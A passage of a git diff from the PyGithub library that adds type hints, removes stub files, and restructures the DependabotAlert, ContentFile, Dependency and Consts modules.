github.GithubObject.NotSet - self._permalink_url = github.GithubObject.NotSet - self._status = github.GithubObject.NotSet - self._total_commits = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "ahead_by" in attributes: # pragma no branch self._ahead_by = self._makeIntAttribute(attributes["ahead_by"]) if "base_commit" in attributes: # pragma no branch - self._base_commit = self._makeClassAttribute( - github.Commit.Commit, attributes["base_commit"] - ) + self._base_commit = self._makeClassAttribute(github.Commit.Commit, attributes["base_commit"]) if "behind_by" in attributes: # pragma no branch self._behind_by = self._makeIntAttribute(attributes["behind_by"]) - if "commits" in attributes: # pragma no branch - self._commits = self._makeListOfClassesAttribute( - github.Commit.Commit, attributes["commits"] - ) if "diff_url" in attributes: # pragma no branch self._diff_url = self._makeStringAttribute(attributes["diff_url"]) if "files" in attributes: # pragma no branch - self._files = self._makeListOfClassesAttribute( - github.File.File, attributes["files"] - ) + self._files = self._makeListOfClassesAttribute(github.File.File, attributes["files"]) if "html_url" in attributes: # pragma no branch self._html_url = self._makeStringAttribute(attributes["html_url"]) if "merge_base_commit" in attributes: # pragma no branch - self._merge_base_commit = self._makeClassAttribute( - github.Commit.Commit, attributes["merge_base_commit"] - ) + self._merge_base_commit = self._makeClassAttribute(github.Commit.Commit, attributes["merge_base_commit"]) if "patch_url" in attributes: # pragma no branch self._patch_url = self._makeStringAttribute(attributes["patch_url"]) if "permalink_url" in attributes: # pragma no branch diff --git a/github/Comparison.pyi b/github/Comparison.pyi deleted file mode 100644 index 03c8f831c4..0000000000 --- a/github/Comparison.pyi +++ /dev/null @@ -1,35 +0,0 @@ -from typing import Any, Dict, List - -from github.Commit import Commit -from github.File import File -from github.GithubObject import CompletableGithubObject - -class Comparison(CompletableGithubObject): - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def ahead_by(self) -> int: ... - @property - def base_commit(self) -> Commit: ... - @property - def behind_by(self) -> int: ... - @property - def commits(self) -> List[Commit]: ... - @property - def diff_url(self) -> str: ... - @property - def files(self) -> List[File]: ... - @property - def html_url(self) -> str: ... - @property - def merge_base_commit(self) -> Commit: ... - @property - def patch_url(self) -> str: ... - @property - def permalink_url(self) -> str: ... - @property - def status(self) -> str: ... - @property - def total_commits(self) -> int: ... - @property - def url(self) -> str: ... diff --git a/github/Consts.py b/github/Consts.py index b4b7bdd0eb..dcc0a08851 100644 --- a/github/Consts.py +++ b/github/Consts.py @@ -1,15 +1,38 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jakub Wilk # # Copyright 2016 Peter Buckley # +# Copyright 2018 Aaron L. Levine # +# Copyright 2018 Alice GIRARD # # Copyright 2018 Maarten Fonville # +# Copyright 2018 Shubham Singh <41840111+singh811@users.noreply.github.com> # +# Copyright 2018 Steve Kowalik # # Copyright 2018 Wan Liuyang # +# Copyright 2018 Yossarian King # +# Copyright 2018 h.shi <10385628+AnYeMoWang@users.noreply.github.com> # # Copyright 2018 sfdye # +# Copyright 2019 Adam Baratz # # Copyright 2019 Nick Campbell # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Tim Gates # +# Copyright 2019 Wan Liuyang # +# Copyright 2019 Will Li # +# Copyright 2020 Adrian Bridgett <58699309+tl-adrian-bridgett@users.noreply.github.com># +# Copyright 2020 Anuj Bansal # +# Copyright 2020 Colby Gallup # # Copyright 2020 Pascal Hofmann # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Steve Kowalik # +# Copyright 2021 Tanner <51724788+lightningboltemoji@users.noreply.github.com> # +# Copyright 2022 KimSia Sim <245021+simkimsia@users.noreply.github.com> # +# Copyright 2023 Denis Blanchette # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -92,9 +115,7 @@ mediaTypeTeamDiscussionsPreview = "application/vnd.github.echo-preview+json" # https://developer.github.com/changes/2018-03-16-protected-branches-required-approving-reviews/ -mediaTypeRequireMultipleApprovingReviews = ( - "application/vnd.github.luke-cage-preview+json" -) +mediaTypeRequireMultipleApprovingReviews = "application/vnd.github.luke-cage-preview+json" # https://developer.github.com/changes/2018-05-24-user-migration-api/ mediaTypeMigrationPreview = "application/vnd.github.wyandotte-preview+json" @@ -134,6 +155,7 @@ DEFAULT_BASE_URL = "https://api.github.com" DEFAULT_STATUS_URL = "https://status.github.com" +DEFAULT_USER_AGENT = "PyGithub/Python" # As of 2018-05-17, Github imposes a 10s limit for completion of API requests. # Thus, the timeout should be slightly > 10s to account for network/front-end # latency. @@ -148,3 +170,10 @@ # https://docs.github.com/en/developers/apps/building-github-apps/authenticating-with-github-apps#generating-a-json-web-token-jwt # "The time the JWT was created. To protect against clock drift, we recommend you set this 60 seconds in the past." DEFAULT_JWT_ISSUED_AT = -60 +# https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app/generating-a-json-web-token-jwt-for-a-github-app +# "Your JWT must be signed using the RS256 algorithm" +DEFAULT_JWT_ALGORITHM = "RS256" + +# https://docs.github.com/en/rest/guides/best-practices-for-integrators?apiVersion=2022-11-28#dealing-with-secondary-rate-limits +DEFAULT_SECONDS_BETWEEN_REQUESTS = 0.25 +DEFAULT_SECONDS_BETWEEN_WRITES = 1.0 diff --git a/github/ContentFile.py b/github/ContentFile.py index 007f17fb3d..a26c56c996 100644 --- a/github/ContentFile.py +++ b/github/ContentFile.py @@ -9,7 +9,17 @@ # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # +# Copyright 2018 h.shi <10385628+AnYeMoWang@users.noreply.github.com> # # Copyright 2018 sfdye # +# Copyright 2019 Adam Baratz # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Alice GIRARD # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -29,165 +39,125 @@ # # ################################################################################ +from __future__ import annotations + import base64 +from typing import TYPE_CHECKING, Any import github.GithubObject import github.Repository +from github.GithubObject import Attribute, CompletableGithubObject, NotSet, _ValuedAttribute + +if TYPE_CHECKING: + from github.License import License + from github.Repository import Repository -class ContentFile(github.GithubObject.CompletableGithubObject): +class ContentFile(CompletableGithubObject): """ This class represents ContentFiles. The reference can be found here https://docs.github.com/en/rest/reference/repos#contents """ - def __repr__(self): + def _initAttributes(self) -> None: + self._content: Attribute[str] = NotSet + self._download_url: Attribute[str] = NotSet + self._encoding: Attribute[str] = NotSet + self._git_url: Attribute[str] = NotSet + self._html_url: Attribute[str] = NotSet + self._license: Attribute[License] = NotSet + self._name: Attribute[str] = NotSet + self._path: Attribute[str] = NotSet + self._repository: Attribute[Repository] = NotSet + self._sha: Attribute[str] = NotSet + self._size: Attribute[int] = NotSet + self._type: Attribute[str] = NotSet + self._url: Attribute[str] = NotSet + self._text_matches: Attribute[str] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"path": self._path.value}) @property - def content(self): - """ - :type: string - """ + def content(self) -> str: self._completeIfNotSet(self._content) return self._content.value @property - def decoded_content(self): - """ - :type: bytes - """ + def decoded_content(self) -> bytes: assert self.encoding == "base64", f"unsupported encoding: {self.encoding}" return base64.b64decode(bytearray(self.content, "utf-8")) @property - def download_url(self): - """ - :type: string - """ + def download_url(self) -> str: self._completeIfNotSet(self._download_url) return self._download_url.value @property - def encoding(self): - """ - :type: string - """ + def encoding(self) -> str: self._completeIfNotSet(self._encoding) return self._encoding.value @property - def git_url(self): - """ - :type: string - """ + def git_url(self) -> str: self._completeIfNotSet(self._git_url) return self._git_url.value @property - def html_url(self): - """ - :type: string - """ + def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property - def license(self): - """ - :type: :class:`github.License.License` - """ + def license(self) -> License: self._completeIfNotSet(self._license) return self._license.value @property - def name(self): - """ - :type: string - """ + def name(self) -> str: self._completeIfNotSet(self._name) return self._name.value @property - def path(self): - """ - :type: string - """ + def path(self) -> str: self._completeIfNotSet(self._path) return self._path.value @property - def repository(self): - """ - :type: :class:`github.Repository.Repository` - """ - if self._repository is github.GithubObject.NotSet: + def repository(self) -> Repository: + if self._repository is NotSet: # The repository was not set automatically, so it must be looked up by url. - repo_url = "/".join( - self.url.split("/")[:6] - ) # pragma no cover (Should be covered) - self._repository = github.GithubObject._ValuedAttribute( - github.Repository.Repository( - self._requester, self._headers, {"url": repo_url}, completed=False - ) + repo_url = "/".join(self.url.split("/")[:6]) # pragma no cover (Should be covered) + self._repository = _ValuedAttribute( + github.Repository.Repository(self._requester, self._headers, {"url": repo_url}, completed=False) ) # pragma no cover (Should be covered) return self._repository.value @property - def sha(self): - """ - :type: string - """ + def sha(self) -> str: self._completeIfNotSet(self._sha) return self._sha.value @property - def size(self): - """ - :type: integer - """ + def size(self) -> int: self._completeIfNotSet(self._size) return self._size.value @property - def type(self): - """ - :type: string - """ + def type(self) -> str: self._completeIfNotSet(self._type) return self._type.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value @property - def text_matches(self): - """ - :type: string - """ + def text_matches(self) -> str: self._completeIfNotSet(self._text_matches) return self._text_matches.value - def _initAttributes(self): - self._content = github.GithubObject.NotSet - self._text_matches = github.GithubObject.NotSet - self._encoding = github.GithubObject.NotSet - self._download_url = github.GithubObject.NotSet - self._git_url = github.GithubObject.NotSet - self._html_url = github.GithubObject.NotSet - self._license = github.GithubObject.NotSet - self._name = github.GithubObject.NotSet - self._path = github.GithubObject.NotSet - self._repository = github.GithubObject.NotSet - self._sha = github.GithubObject.NotSet - self._size = github.GithubObject.NotSet - self._type = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "content" in attributes: # pragma no branch self._content = self._makeStringAttribute(attributes["content"]) if "download_url" in attributes: # pragma no branch @@ -199,17 +169,13 @@ def _useAttributes(self, attributes): if "html_url" in attributes: # pragma no branch self._html_url = self._makeStringAttribute(attributes["html_url"]) if "license" in attributes: # pragma no branch - self._license = self._makeClassAttribute( - github.License.License, attributes["license"] - ) + self._license = self._makeClassAttribute(github.License.License, attributes["license"]) if "name" in attributes: # pragma no branch self._name = self._makeStringAttribute(attributes["name"]) if "path" in attributes: # pragma no branch self._path = self._makeStringAttribute(attributes["path"]) if "repository" in attributes: # pragma no branch - self._repository = self._makeClassAttribute( - github.Repository.Repository, attributes["repository"] - ) + self._repository = self._makeClassAttribute(github.Repository.Repository, attributes["repository"]) if "sha" in attributes: # pragma no branch self._sha = self._makeStringAttribute(attributes["sha"]) if "size" in attributes: # pragma no branch @@ -219,6 +185,4 @@ def _useAttributes(self, attributes): if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) if "text_matches" in attributes: # pragma no branch - self._text_matches = self._makeListOfDictsAttribute( - attributes["text_matches"] - ) + self._text_matches = self._makeListOfDictsAttribute(attributes["text_matches"]) diff --git a/github/ContentFile.pyi b/github/ContentFile.pyi deleted file mode 100644 index 7f2f6c08b5..0000000000 --- a/github/ContentFile.pyi +++ /dev/null @@ -1,40 +0,0 @@ -from typing import Any, Dict, List, Optional - -from github.GithubObject import CompletableGithubObject -from github.License import License -from github.Repository import Repository - -class ContentFile(CompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def content(self) -> Optional[str]: ... - @property - def decoded_content(self) -> bytes: ... - @property - def download_url(self) -> str: ... - @property - def encoding(self) -> str: ... - @property - def git_url(self) -> str: ... - @property - def html_url(self) -> str: ... - @property - def name(self) -> str: ... - @property - def path(self) -> str: ... - @property - def repository(self) -> Repository: ... - @property - def sha(self) -> str: ... - @property - def size(self) -> int: ... - @property - def text_matches(self) -> List[Dict[str, Any]]: ... - @property - def type(self) -> str: ... - @property - def url(self) -> str: ... - @property - def license(self) -> License: ... diff --git a/github/DependabotAlert.py b/github/DependabotAlert.py index 5bf72aff00..614543faa6 100644 --- a/github/DependabotAlert.py +++ b/github/DependabotAlert.py @@ -1,188 +1,157 @@ -import github.Commit -import github.Dependency -import github.GithubObject +############################ Copyrights and license ############################ +# # +# Copyright 2024 Thomas Cooper # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + +from __future__ import annotations + +from datetime import datetime +from typing import TYPE_CHECKING, Any + +import github.AdvisoryVulnerabilityPackage +import github.DependabotAlertAdvisory +import github.DependabotAlertDependency +import github.DependabotAlertVulnerability import github.NamedUser -import github.SecurityVulnerability +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet +if TYPE_CHECKING: + from github.DependabotAlertAdvisory import DependabotAlertAdvisory + from github.DependabotAlertDependency import DependabotAlertDependency + from github.DependabotAlertVulnerability import DependabotAlertVulnerability + from github.NamedUser import NamedUser -class DependabotAlert(github.GithubObject.NonCompletableGithubObject): + +class DependabotAlert(NonCompletableGithubObject): """ - This class represents DependabotAlert. The reference can be found here https://docs.github.com/en/rest/dependabot/alerts#list-dependabot-alerts-for-a-repository + This class represents a DependabotAlert. + The reference can be found here https://docs.github.com/en/rest/dependabot/alerts """ - def __repr__(self): - return self.get__repr__( - { - "auto_dismissed_at": self._auto_dismissed_at.value, - "created_at": self._created_at.value, - "dependency": self._dependency.value, - "dismissed_at": self._dismissed_at.value, - "dismissed_by": self._dismissed_at.value, - "dismissed_comment": self._dismissed_comment.value, - "dismissed_reason": self._dismissed_reason.value, - "fixed_at": self._fixed_at.value, - "html_url": self._html_url.value, - "number": self._number.value, - "security_vulnerability": self._security_vulnerability.value, - "state": self._state.value, - "updated_at": self._updated_at.value, - "url": self._url.value, - } - ) + def _initAttributes(self) -> None: + self._number: Attribute[int] = NotSet + self._state: Attribute[str] = NotSet + self._dependency: Attribute[DependabotAlertDependency] = NotSet + self._security_advisory: Attribute[DependabotAlertAdvisory] = NotSet + self._security_vulnerability: Attribute[DependabotAlertVulnerability] = NotSet + self._url: Attribute[str] = NotSet + self._html_url: Attribute[str] = NotSet + self._created_at: Attribute[datetime] = NotSet + self._updated_at: Attribute[datetime] = NotSet + self._dismissed_at: Attribute[datetime | None] = NotSet + self._dismissed_by: Attribute[NamedUser | None] = NotSet + self._dismissed_reason: Attribute[str | None] = NotSet + self._dismissed_comment: Attribute[str | None] = NotSet + self._fixed_at: Attribute[str] = NotSet + + def __repr__(self) -> str: + return self.get__repr__({"number": self.number, "ghsa_id": self.security_advisory.ghsa_id}) @property - def auto_dismissed_at(self): - """ - :type: string - """ - return self._auto_dismissed_at.value + def number(self) -> int: + return self._number.value @property - def created_at(self): - """ - :type: string - """ - return self._created_at.value + def state(self) -> str: + return self._state.value @property - def dependency(self): - """ - :type: :class:`github.Dependency.Dependency` - """ + def dependency(self) -> DependabotAlertDependency: return self._dependency.value @property - def dismissed_at(self): - """ - :type: string - """ - return self._dismissed_at.value + def security_advisory(self) -> DependabotAlertAdvisory: + return self._security_advisory.value @property - def dismissed_by(self): - """ - :type: :class:`github.NamedUser.NamedUser` - """ - return self._dismissed_by.value + def security_vulnerability(self) -> DependabotAlertVulnerability: + return self._security_vulnerability.value @property - def dismissed_comment(self): - """ - :type: string - """ - return self._dismissed_comment.value + def url(self) -> str: + return self._url.value @property - def dismissed_reason(self): - """ - :type: string - """ - return self._dismissed_reason.value + def html_url(self) -> str: + return self._html_url.value @property - def fixed_at(self): - """ - :type: string - """ - return self._fixed_at.value + def created_at(self) -> datetime: + return self._created_at.value @property - def html_url(self): - """ - :type: string - """ - return self._html_url.value + def updated_at(self) -> datetime: + return self._updated_at.value @property - def number(self): - """ - :type: integer - """ - return self._number.value + def dismissed_at(self) -> datetime | None: + return self._dismissed_at.value @property - def security_vulnerability(self): - """ - :type: :class:`github.SecurityVulnerability.SecurityVulnerability` - """ - return self._security_vulnerability.value + def dismissed_by(self) -> NamedUser | None: + return self._dismissed_by.value @property - def state(self): - """ - :type: string - """ - return self._state.value + def dismissed_reason(self) -> str | None: + return self._dismissed_reason.value @property - def updated_at(self): - """ - :type: string - """ - return self._updated_at.value + def dismissed_comment(self) -> str | None: + return self._dismissed_comment.value @property - def url(self): - """ - :type: string - """ - return self._url.value + def fixed_at(self) -> str | None: + return self._fixed_at.value - def _initAttributes(self): - self._auto_dismissed_at = github.GithubObject.NotSet - self._created_at = github.GithubObject.NotSet - self._dependency = github.GithubObject.NotSet - self._dismissed_at = github.GithubObject.NotSet - self._dismissed_comment = github.GithubObject.NotSet - self._dismissed_reason = github.GithubObject.NotSet - self._dismissed_by = github.GithubObject.NotSet - self._fixed_at = github.GithubObject.NotSet - self._html_url = github.GithubObject.NotSet - self._number = github.GithubObject.NotSet - self._security_vulnerability = github.GithubObject.NotSet - self._state = github.GithubObject.NotSet - self._updated_at = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - - def _useAttributes(self, attributes): - if "auto_dismissed_at" in attributes: # pragma no branch - self._auto_dismissed_at = self._makeStringAttribute( - attributes["auto_dismissed_at"] - ) - if "created_at" in attributes: # pragma no branch - self._created_at = self._makeStringAttribute(attributes["created_at"]) - if "dependency" in attributes: # pragma no branch + def _useAttributes(self, attributes: dict[str, Any]) -> None: + if "number" in attributes: + self._number = self._makeIntAttribute(attributes["number"]) + if "state" in attributes: + self._state = self._makeStringAttribute(attributes["state"]) + if "dependency" in attributes: self._dependency = self._makeClassAttribute( - github.Dependency.Dependency, attributes["dependency"] - ) - if "dismissed_at" in attributes: # pragma no branch - self._dismissed_at = self._makeStringAttribute(attributes["dismissed_at"]) - if "dismissed_by" in attributes: # pragma no branch - self._dismissed_by = self._makeClassAttribute( - github.NamedUser.NamedUser, attributes["dismissed_by"] - ) - if "dismissed_comment" in attributes: # pragma no branch - self._dismissed_comment = self._makeStringAttribute( - attributes["dismissed_comment"] + github.DependabotAlertDependency.DependabotAlertDependency, attributes["dependency"] ) - if "dismissed_reason" in attributes: # pragma no branch - self._dismissed_reason = self._makeStringAttribute( - attributes["dismissed_reason"] + if "security_advisory" in attributes: + self._security_advisory = self._makeClassAttribute( + github.DependabotAlertAdvisory.DependabotAlertAdvisory, attributes["security_advisory"] ) - if "fixed_at" in attributes: # pragma no branch - self._fixed_at = self._makeStringAttribute(attributes["fixed_at"]) - if "html_url" in attributes: # pragma no branch - self._html_url = self._makeStringAttribute(attributes["html_url"]) - if "number" in attributes: # pragma no branch - self._number = self._makeIntAttribute(attributes["number"]) - if "security_vulnerability" in attributes: # pragma no branch + if "security_vulnerability" in attributes: self._security_vulnerability = self._makeClassAttribute( - github.SecurityVulnerability.SecurityVulnerability, - attributes["security_vulnerability"], + github.DependabotAlertVulnerability.DependabotAlertVulnerability, attributes["security_vulnerability"] ) - if "state" in attributes: # pragma no branch - self._state = self._makeStringAttribute(attributes["state"]) - if "updated_at" in attributes: # pragma no branch - self._updated_at = self._makeStringAttribute(attributes["updated_at"]) - if "url" in attributes: # pragma no branch + if "url" in attributes: self._url = self._makeStringAttribute(attributes["url"]) + if "html_url" in attributes: + self._html_url = self._makeStringAttribute(attributes["html_url"]) + if "created_at" in attributes: + self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) + if "updated_at" in attributes: + self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) + if "dismissed_at" in attributes: + self._dismissed_at = self._makeDatetimeAttribute(attributes["dismissed_at"]) + if "dismissed_by" in attributes: + self._dismissed_by = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["dismissed_by"]) + if "dismissed_reason" in attributes: + self._dismissed_reason = self._makeStringAttribute(attributes["dismissed_reason"]) + if "dismissed_comment" in attributes: + self._dismissed_comment = self._makeStringAttribute(attributes["dismissed_comment"]) + if "fixed_at" in attributes: + self._fixed_at = self._makeStringAttribute(attributes["fixed_at"]) diff --git a/github/CodeScanRule.pyi b/github/DependabotAlertAdvisory.py similarity index 51% rename from github/CodeScanRule.pyi rename to github/DependabotAlertAdvisory.py index c4b30feb98..e5410d58e0 100644 --- a/github/CodeScanRule.pyi +++ b/github/DependabotAlertAdvisory.py @@ -1,6 +1,6 @@ ############################ Copyrights and license ############################ # # -# Copyright 2022 Eric Nieuwland # +# Copyright 2024 Thomas Cooper # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -20,21 +20,45 @@ # # ################################################################################ -from typing import Any, Dict +from __future__ import annotations -import github.GithubObject +from typing import TYPE_CHECKING, Any + +import github.AdvisoryBase +import github.DependabotAlertVulnerability +from github.GithubObject import Attribute, NotSet + +if TYPE_CHECKING: + from github.DependabotAlertVulnerability import DependabotAlertVulnerability + + +class DependabotAlertAdvisory(github.AdvisoryBase.AdvisoryBase): + """ + This class represents a package flagged by a Dependabot alert that is vulnerable to a parent SecurityAdvisory. + The reference can be found here https://docs.github.com/en/rest/dependabot/alerts + """ + + def _initAttributes(self) -> None: + super()._initAttributes() + self._references: Attribute[list[dict]] = NotSet + self._vulnerabilities: Attribute[list[DependabotAlertVulnerability]] = NotSet -class CodeScanRule(github.GithubObject.NonCompletableGithubObject): - def __repr__(self) -> str: ... - @property - def id(self) -> str: ... - @property - def name(self) -> str: ... - @property - def severity(self) -> str: ... @property - def security_severity_level(self) -> str: ... + def references(self) -> list[dict]: + return self._references.value + @property - def description(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... + def vulnerabilities(self) -> list[DependabotAlertVulnerability]: + return self._vulnerabilities.value + + def _useAttributes(self, attributes: dict[str, Any]) -> None: + if "references" in attributes: + self._references = self._makeListOfDictsAttribute( + attributes["references"], + ) + if "vulnerabilities" in attributes: + self._vulnerabilities = self._makeListOfClassesAttribute( + github.DependabotAlertVulnerability.DependabotAlertVulnerability, + attributes["vulnerabilities"], + ) + super()._useAttributes(attributes) diff --git a/github/CodeScanAlert.pyi b/github/DependabotAlertDependency.py similarity index 54% rename from github/CodeScanAlert.pyi rename to github/DependabotAlertDependency.py index 51a42047bf..a59ed80c65 100644 --- a/github/CodeScanAlert.pyi +++ b/github/DependabotAlertDependency.py @@ -1,6 +1,6 @@ ############################ Copyrights and license ############################ # # -# Copyright 2022 Eric Nieuwland # +# Copyright 2024 Thomas Cooper # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -20,43 +20,44 @@ # # ################################################################################ -from typing import Any, Dict -from datetime import datetime +from __future__ import annotations -import github.GithubObject -import github.PaginatedList -import github.CodeScanRule -import github.CodeScanTool -import github.CodeScanAlertInstance +from typing import Any + +from github.AdvisoryVulnerabilityPackage import AdvisoryVulnerabilityPackage +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet + + +class DependabotAlertDependency(NonCompletableGithubObject): + """ + This class represents a DependabotAlertDependency. + The reference can be found here https://docs.github.com/en/rest/dependabot/alerts + """ + + def _initAttributes(self) -> None: + self._package: Attribute[AdvisoryVulnerabilityPackage] = NotSet + self._manifest_path: Attribute[str] = NotSet + self._scope: Attribute[str] = NotSet -class CodeScanAlert(github.GithubObject.NonCompletableGithubObject): - def __repr__(self) -> str: ... - @property - def number(self) -> int: ... - @property - def rule(self) -> github.CodeScanRule.CodeScanRule: ... - @property - def tool(self) -> github.CodeScanTool.CodeScanTool: ... - @property - def created_at(self) -> datetime: ... - @property - def dismissed_at(self) -> datetime: ... - @property - def dismissed_by(self) -> dict: ... - @property - def dismissed_reason(self) -> str: ... - @property - def url(self) -> str: ... - @property - def html_url(self) -> str: ... @property - def instances_url(self) -> str: ... + def package(self) -> AdvisoryVulnerabilityPackage: + return self._package.value + @property - def most_recent_instance( - self, - ) -> github.CodeScanAlertInstance.CodeScanAlertInstance: ... + def manifest_path(self) -> str: + return self._manifest_path.value + @property - def state(self) -> str: ... - def get_instances(self) -> github.PaginatedList.PaginatedList: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... + def scope(self) -> str: + return self._scope.value + + def _useAttributes(self, attributes: dict[str, Any]) -> None: + if "package" in attributes: + self._package = self._makeClassAttribute( + AdvisoryVulnerabilityPackage, + attributes["package"], + ) + if "manifest_path" in attributes: + self._manifest_path = self._makeStringAttribute(attributes["manifest_path"]) + if "scope" in attributes: + self._scope = self._makeStringAttribute(attributes["scope"]) diff --git a/github/DependabotAlertVulnerability.py b/github/DependabotAlertVulnerability.py new file mode 100644 index 0000000000..b5ba5731b6 --- /dev/null +++ b/github/DependabotAlertVulnerability.py @@ -0,0 +1,74 @@ +############################ Copyrights and license ############################ +# # +# Copyright 2024 Thomas Cooper # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + +from __future__ import annotations + +from typing import TYPE_CHECKING, Any + +import github.AdvisoryVulnerabilityPackage +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet + +if TYPE_CHECKING: + from github.AdvisoryVulnerabilityPackage import AdvisoryVulnerabilityPackage + + +class DependabotAlertVulnerability(NonCompletableGithubObject): + """ + A vulnerability represented in a Dependabot alert. + """ + + def _initAttributes(self) -> None: + self._package: Attribute[AdvisoryVulnerabilityPackage] = NotSet + self._severity: Attribute[str] = NotSet + self._vulnerable_version_range: Attribute[str | None] = NotSet + self._first_patched_version: Attribute[dict] = NotSet + + @property + def package(self) -> AdvisoryVulnerabilityPackage: + return self._package.value + + @property + def severity(self) -> str: + return self._severity.value + + @property + def vulnerable_version_range(self) -> str | None: + return self._vulnerable_version_range.value + + @property + def first_patched_version(self) -> dict: + return self._first_patched_version.value + + def _useAttributes(self, attributes: dict[str, Any]) -> None: + if "package" in attributes: + self._package = self._makeClassAttribute( + github.AdvisoryVulnerabilityPackage.AdvisoryVulnerabilityPackage, + attributes["package"], + ) + if "severity" in attributes: + self._severity = self._makeStringAttribute(attributes["severity"]) + if "vulnerable_version_range" in attributes: + self._vulnerable_version_range = self._makeStringAttribute(attributes["vulnerable_version_range"]) + if "first_patched_version" in attributes: + self._first_patched_version = self._makeDictAttribute( + attributes["first_patched_version"], + ) diff --git a/github/Dependency.py b/github/Dependency.py index acc47a8d32..23f6a4401d 100644 --- a/github/Dependency.py +++ b/github/Dependency.py @@ -1,14 +1,15 @@ -import github.Commit -import github.GithubObject -import github.Package +from typing import Any, Dict +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet +from github.Package import Package -class Dependency(github.GithubObject.NonCompletableGithubObject): + +class Dependency(NonCompletableGithubObject): """ This class represents Dependency. The reference can be found in the alert here https://docs.github.com/en/rest/dependabot/alerts#list-dependabot-alerts-for-a-repository """ - def __repr__(self): + def __repr__(self) -> str: return self.get__repr__( { "package": self._package.value, @@ -18,36 +19,28 @@ def __repr__(self): ) @property - def package(self): - """ - :type: :class:`github.Package.Package` - """ + def package(self) -> Package: return self._package.value @property - def manifest_path(self): - """ - :type: string - """ + def manifest_path(self) -> str: return self._manifest_path.value @property - def scope(self): + def scope(self) -> str: """ :type: string """ return self._scope.value - def _initAttributes(self): - self._package = github.GithubObject.NotSet - self._manifest_path = github.GithubObject.NotSet - self._scope = github.GithubObject.NotSet + def _initAttributes(self) -> None: + self._package: Attribute[Package] = NotSet + self._manifest_path: Attribute[str] = NotSet + self._scope: Attribute[str] = NotSet - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "package" in attributes: # pragma no branch - self._package = self._makeClassAttribute( - github.Package.Package, attributes["package"] - ) + self._package = self._makeClassAttribute(Package, attributes["package"]) if "manifest_path" in attributes: # pragma no branch self._manifest_path = self._makeStringAttribute(attributes["manifest_path"]) if "scope" in attributes: # pragma no branch diff --git a/github/Dependency.pyi b/github/Dependency.pyi deleted file mode 100644 index 176e959979..0000000000 --- a/github/Dependency.pyi +++ /dev/null @@ -1,15 +0,0 @@ -from typing import Any, Dict - -from github.GithubObject import NonCompletableGithubObject -from github.Package import Package - -class Dependency(NonCompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def package(self) -> Package: ... - @property - def manifest_path(self) -> str: ... - @property - def scope(self) -> str: ... diff --git a/github/Deployment.py b/github/Deployment.py index ae7472bbe7..6ac7b44472 100644 --- a/github/Deployment.py +++ b/github/Deployment.py @@ -1,8 +1,26 @@ ############################ Copyrights and license ############################ # # -# Copyright 2020 Steve Kowalik # 